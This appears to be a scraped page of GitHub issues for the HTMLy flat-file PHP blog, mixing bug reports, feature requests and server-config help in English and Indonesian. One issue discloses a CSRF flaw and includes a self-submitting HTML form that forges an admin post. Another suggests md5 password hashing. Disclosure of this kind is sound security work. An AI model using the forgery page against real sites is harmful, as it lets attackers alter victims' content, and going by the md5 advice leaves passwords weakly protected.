danpros / htmly Goto Github PK
View Code? Open in Web Editor NEWSimple and fast databaseless PHP blogging platform, and Flat-File CMS
Home Page: https://www.htmly.com
License: GNU General Public License v2.0
Simple and fast databaseless PHP blogging platform, and Flat-File CMS
Home Page: https://www.htmly.com
License: GNU General Public License v2.0
Hi. I'm having trouble with some files in the package being ANSI and not utf-8. Is it possible to fix this next time you release the code?
Mas Dan, kalau error logs ini maksudnya apa ya?
PHP Warning: file_put_contents() [<a href='function.file-put-contents'>function.file-put-contents</a>]:
Filename cannot be empty in /system/includes/dispatch.php on line 312
Nah, sepertinya kalau dilihat di halaman posting kan bisa ambil "Name Auhtor" yang merupakan ambil berasal dari folder author, kira-kira bisa tidak ambil sekalian isi dari author.md lalu di taro dibawah postingan menjadi authorBox, yang nantinya user bisa pasangkan rel=author G+ didalamnya.
:)
This should be put in the config as show full post content or show teaser.
Then user can decide what they want to show.
Then in the theme we can have a statement to check config for setting before showing content in main.HTML.php
Ya Ya,I am probably the only one with a massive tag list :-P
That said, anyone have a way to make this into a drop down menu style?
I can write it myself, just tell me what file I need to edit (too lazy to look right now) heheheh
Htmly always loads the social Icons from the default theme even if i have installed my own theme. I have created my own social icons e.g. facebook.png and put them into img/ folder in my theme. How can get htmly to use my own icons
I really like this blog, but Tag does not support Chinese .what should I do
It would be great if htmly had a simple comment system so you don't have to depend on third parties.
It should be plain text like the posts. I know thats not great for performance if you have many comments, but for small blogs it wouldn't matter.
If you liked my work on the Auto Update Feature then look at this:
https://github.com/Kanti/htmly-installer
I'm still working on it, but it looks good for now.
apakah hanya menampilkan posting terkait yang memiliki tag pertama sama ? silakan cek defaka.com
Do you have it in plans? Calendar, agenda view, anounce...
// Create a new instance of the markdown parser
$md = new MarkdownParser();
di log : PHP Fatal error: Class 'MarkdownParser' not found in function
masih ada MarkdownParser.
Tags, menjadi double breadcrumb di rich snippet :)
Even though the themes shipped with the HTMLy standard install are quite didactic, I'd like to know the API that the themes use to display content. HTMLy has a "Doc" link that leads to the Readme.md of the repository.
Hi,
Where can I enable the comments function? If I change something in relation to the comments in the config.ini (Facebook) nothing happens!
Just to let you know, that I wrote an app yesterday (php) that imported over 3,100+ game post, converted it to htmly format, and had it posted - took about 5min, and am happy to say your no-db script handles it just fine - If youwant I can post the link - or email me,and I'll send it to you - its just a casual gaming site - but it handles it just fine. So i will proceed with the rest of the sript that will process the rss feed to update daily. :-)
Password tidak bisa dimasuki dengan karakter. Kan kombinasi password dari huruf, angka, simbol/karakter khusus membuat kuat keamanan password itu sendiri :)
Saya masih belum ngerti dengan penambahan kolom komentar menggunakan facebook.
Pada file config.ini dalam direktori config, ada fb.appid. Dimana saya bisa mendapatkannya? Kemudian bagaimana saya bisa mengetahui bila suatu postingan mendapat komentar?apakah ada semacam dashboard untuk mengelola komentar seperti di wordpress dan blogspot, misal menyetujui, membalas atau menghapus komentar. kan ga mungkin banget kalau harus ngecek satu-satu postingan hanya untuk melihat apakah ada komentar baru atau tidak.
terima kasih
No post didalam admin view nih mas dan, barusan cek kalau baru install misal :
Warning: include(system/admin/views/no-posts.html.php): failed to open stream: No such file or directory in C:\xampp\htdocs\blog\system\includes\dispatch.php on line 284
Warning: include(): Failed opening 'system/admin/views/no-posts.html.php' for inclusion (include_path='.;C:\xampp\php\PEAR') in C:\xampp\htdocs\blog\system\includes\dispatch.php on line 284
Sepertinya gk ada/kurang file itu
The social icons were set in functions.php
are not responsive with the active theme.
So, I think it would be better if you replace with this:
// Social links
function social(){
$theme = config('views.root');
$twitter = config('social.twitter');
$facebook = config('social.facebook');
$google = config('social.google');
$tumblr = config('social.tumblr');
$rss = site_url() . 'feed/rss';
if (!empty($twitter)) {
echo '<a href="' . $twitter . '" target="_blank"><img src="' . site_url() . $theme . '/img/twitter.png" width="32" height="32" alt="Twitter"/></a>';
}
if (!empty($facebook)) {
echo '<a href="' . $facebook . '" target="_blank"><img src="' . site_url() . $theme . '/img/facebook.png" width="32" height="32" alt="Facebook"/></a>';
}
if (!empty($google)) {
echo '<a href="' . $google . '" target="_blank"><img src="' . site_url() . $theme . '/img/googleplus.png" width="32" height="32" alt="Google+"/></a>';
}
if (!empty($tumblr)) {
echo '<a href="' . $tumblr . '" target="_blank"><img src="' . site_url() . $theme . '/img/tumblr.png" width="32" height="32" alt="Tumblr"/></a>';
}
echo '<a href="' . site_url() . 'feed/rss" target="_blank"><img src="' . site_url() . $theme . '/img/rss.png" width="32" height="32" alt="RSS Feed"/></a>';
}
Just it, hope it would be the next update.
So if the first line of a post is media and has nothing following the media, show the full media.
OK, feel like a noob, how do you edit the about section that shows up on the front page. there seems to be nothing in the admin section
Hello,
I have install htmly in local (Mac OS Mavericks).
I have create a user admin.
I can login.
But I haven't the admin panel.
After login I have a white page with this URL : http://htmly/login/login.
Have you any idea what's wrong ?
Thank's for all
At first of all HTMLy is a very nice cms. Now my question: Is there a way to organize pages in the navigation?
Please added readme.md π―
Congratulation mr.Dan !
Hi, which markdown syntax is supported?
I tried all tips from the issues but still got no login page. It must have something to do with the webserver.
The first shot was with MAMP on Mac OS X, this is my local development and test environment. It was running as exepected.
After coping it to Linux server with apache the login page is not available.
I also tried lighttpd and nginx without any sucess.
Does anybody has the ultimate hint or trick?
kalao blogger contoh openid bisa otomatis,
<link rel="openid.server" href="http://www.blogger.com/openid-server.g" />
I have not had a chance to look into the code to know how much of a problem this would be, but...can we have the ability to time the posting of a new post?
So, if I create a file under .../content//blog with a file name that has a time in the future, I would like htmly to ignore it until after the time in the file name has past. This way, I could batch write a few posts, but not have them visible all at once, but on a schedule.
Thanks!
This is not an issue is a suggestion...
Can i suggest to use the md5 or sha encryption for password check, i give you an example, in login page we insert username and pasword so the class call username.ini file and check that the password we have insert is equal to the password value stored in ini... if for example somebody break the ftp password will access all users password, this is not safely, if you change the check from if $_POST['password'] == $ini['Password']) in if (md5($_POST['password']) == $ini['Password']) it become more secure.
In detail line 20 of admin.php say:
if ($pass === $user_pass)
this can become:
if (md5($pass) === $user_pass)
and in the ini file the password is stored in md5 for example.
Sorry for my bad english.
hello, barusan uji coba posting, tapi masih ada sedikit ganjalan seperti tampilan posting yang tidak berdasarkan tanggal terbaru. Bagaimana cara memperbaikinya ?
http://localhost/htmly-test-1/index.php
first access.
:(
Hello!
I have been struggling for close to 6 hours now on trying to get this to run. I really really want this, but for whatever reason, I just can't. The site itself works fine, but when I try to go to any actual pages, such as example.com/login, it throws an error 500. I have looked up a bunch of solutions but nothing seems to run. I am using nginx and using my own configuration since yours just doesn't work. I am running nginx on Ubuntu 13.10 Server.
/etc/nginx/sites-available/default:
server {
listen 80;
root /var/www;
server_name example; #this isn't what is actually in mine, I just don't want to reveal my domain
location / {
try_files $uri/ $uri /index.php?$query_string;
}
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
location /doc/ {
alias /usr/share/doc/;
autoindex on;
allow 127.0.0.1;
deny all;
}
location ~/\.ht {
deny all;
}
}
At the moment, I am just trying to get the bare minimum to work. Then I will add the config block etc.
I have no idea anymore.
Meta content di layout Home sepertinya harus dipasang kaya dinamik heading mas Dan, kalau di share artikel via Google+ yang diambil Title dari Home --
Contoh :
https://plus.google.com/share?url=http://www.danlogs.com/2014/02/htmly-v1.8-released
harusnya kaya gini :
yang div class hide itu lho..
<?php if(is_index()) {?>
<div class="meta hide">
<meta content="<?php echo blog_title() ?>" itemprop="name"/>
<meta content="<?php echo blog_description() ?>" itemprop="description"/>
</div>
<?php } else {?>
<?php } ?>
Hi,
it is possible to add a different content syntax backend.
Switchable per file ending!?
I need an install on a subdomain like http://blog.name.com (for example). The blog itself works, the /login don't. Any ideas to solve this? Thank you very much.
No matter how many times I've set this up and tried to get it working, I can't get the login page to come up.
I have a symlink set up in my /var/www to point to a folder in my home directory
/home/murdock/blog/ points to /var/www/blog/
and the permissions all look correct.
I get the homepage that shows "HTMLy, just another HTMLy blog" and then it says "No Posts Found"
hi.
i cloned ur app to http://as3.brite.biz/htmly/, and i edited config.ini,why when i visit as3.brite.biz/htmly/,it shows "This page doesn't exist!"?
i found some problems with my hoster (one.com) and the htaccess file.
when i use the default htaccess file, i'll get an 500, but when i change the htaccess file to
#Don't show directory listings for URLs which map to a directory.
#Options -Indexes
#Follow symbolic links in this directory.
#Options +FollowSymLinks
#Options +SymlinksIfOwnerMatch
i get the "This page doesn't exist!". even on main page or /login
i try to run htmly on a subdomain (blog.domain.com is alias for www.domain.com/htmly)
Hello,
I wanted to test HTMLy 2.0, so I set it up on a new host, but now, I cannot log in. I have verified that the password listed in my config/users/.ini is the one I am typing into the browser. I am not seeing any errors in the apache log files. Thoughts?
d
Hi, I've found a vulnerability on HTMLy that allows the attacker to create a malicious link that can create posts and/or pages without the user to know. It happens because the formularies on the administration panel aren't protected against Cross-Site Request Forgery. That's an example:
<!DOCTYPE html>
<html>
<head>
<style type="text/css">
#escondido {
display: none;
}
</style>
<script type="text/javascript">
window.onload = function() {
document.getElementById('formulario').submit();
}
</script>
</head>
<body>
<h1>Done</h1>
<p>Access the HTMLy blog page in order to see the post made.</p>
<form method="post" id="formulario" target="escondido" action="http://localhost//htmly-1.8/add/post">
<input type="hidden" name="title" value="Hacked" />
<input type="hidden" name="tag" value="hacked" />
<input type="hidden" name="url" value="" />
<input type="hidden" name="content" value="<h1>HACKED</h1>" />
</form>
<iframe id="escondido"></iframe>
</body>
</html>
I try to write a list in a "add post" page, write a few rows then I click "Number list" button or "Bulleted list" button, but the list becomes one row and showing just one list.
ada sett, untuk sitemap.xml.. bisa dicek dulu mas dan :)
Hi,
I want to add a registration-page with to register a new user. How can I make this?
Best greetings
cyberfish
Wah ini bahaya kalau taglinenya 1 kalimat mas dan? misal 2 paragraf :D haha
'title' => config('blog.title') .' - '. config('blog.tagline'),
apa gk bikin variable baru aja buat custom title tag buat homepage ?
I liked the HTMLY blog so well, i decided to move it to my main gaming site -
check it out.
new error - not sure why that is there
http://www.klyxgaming.com
ada yang bisa bantu memudahkan proses import / migrasi post blogger / wp ke htmly ? manual sih π― bisa cuma lagi males π
Hi, First, thanks for htmly. Can I search only in Tags? I have tried to find a word inside the content, it don't work.
Best regads
cyberfish
Really a great blog tool. But please support non apache webserver (lighttpd, nginx, ...)
What I see is that at the moment the .htaccess files are the problems.
for one .htaccess i have the solution.
~/config/.htaccess
deny from all
lighttpd config
$HTTP["url"] =~ "^/config" {
url.access-deny = ( "" )
}
Regards Thomas
easy way to add "any" social network, i added flickr to fit my needs.
in system/includes/functions.php look for " // Social links " or (faster method) tumblr
first add this line
$flickr = config('social.flickr');
and after
if (!empty($tumblr)) {
echo '<a href="' . $tumblr . '" target="_blank"><img src="' . site_url() . 'themes/default/img/tumblr.png" width="32" height="32" alt="Tumblr"/></a>';
}
add this line (in this case flickr)
if (!empty($flickr)) {
echo '<a href="' . $flickr . '" target="_blank"><img src="' . site_url() . 'themes/default/img/flickr.png" width="32" height="32" alt="flickr"/></a>';
}
than in /config/config.ini
social.flickr = "https://www.flickr.com/photos/{FLICKR-USERNAME}/sets"
"sets" is optional, i like this view most
and last thing to do: place your flickr.png (32x32 or bigger it will be resized!) into /themes/default/img/
A declarative, efficient, and flexible JavaScript library for building user interfaces.
π Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. πππ
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google β€οΈ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.